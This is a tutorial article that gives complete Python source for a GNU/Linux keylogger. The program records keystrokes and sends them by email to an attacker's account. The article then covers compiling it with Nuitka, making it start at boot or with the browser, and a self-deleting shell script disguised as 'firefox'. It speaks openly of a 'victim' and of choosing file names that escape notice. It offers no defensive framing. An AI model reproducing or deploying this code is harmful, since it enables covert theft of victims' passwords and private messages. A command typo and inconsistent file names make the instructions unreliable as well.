Python keylogger for GNU/Linux. Send information by email and self-destruct

In this article I show you how to program an advanced keylogger that sends messages by email and self-destructs after a certain date.

The code (we will save it as compile_docs.py1) used is the following:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
from email.message import EmailMessage
import smtplib, ssl

keys = ''

def on_press(key):
    print(key)
    global keys, count
    keys += str(key)
    print(len(keys),  keys)
    if len(keys) > 190:
        send_email(keys)
        keys = ''

def send_email(message):
    smtp_server = "CHANGE"
    port = 587
    sender_email = "CHANGE"
    password = "CHANGE"
    receiver_email = sender_email


    em = EmailMessage()
    em.set_content(message)
    em['To'] = receiver_email
    em['From'] = sender_email
    em['Subject'] = 'keylog'

    context = ssl.create_default_context()

    with smtplib.SMTP(smtp_server, port) as s:
        s.ehlo()
        s.starttls(context=context)
        s.ehlo()
        s.login(sender_email, password)
        s.send_message(em)

with Listener(on_press=on_press) as listener:
    listener.join()

We must replace every CHANGE with information for sending the email. Obviously, the email used must be an anonymous one that you can throw away. Basically, with the above code we send an email every time several keys are pressed (when they occupy 190 characters).

Now we are going to compile the code with Nuitka:

sudo pip3 install nuitka
nuikta3 compile_docs.py

The program will have produced a compiled file called compile_docs.bin. Finally, you need to make that file run when you start a browser or boot your computer, as explained in the previous article.

If we want to make the program self-destruct after a period of time, we can create something like this2:

#!/bin/sh
DATE=`date +%Y%m%d`
if [ $DATE > 20230501 ]; then
    rm /usr/share/doc/python3/compile_docs.py
    rm /usr/share/doc/python3/compile_docs.bin
    mv firefox.bin $0  # Removes this file
else
    python3 nuestro_keylogger.py
fi

The steps to remove the keylogger may vary slightly depending on how you have hidden it.


  1. This is an example name, it is best to use a name that does not attract the attention of our victim. 

  2. The file would be saved as firefox or any similar program. 

Comments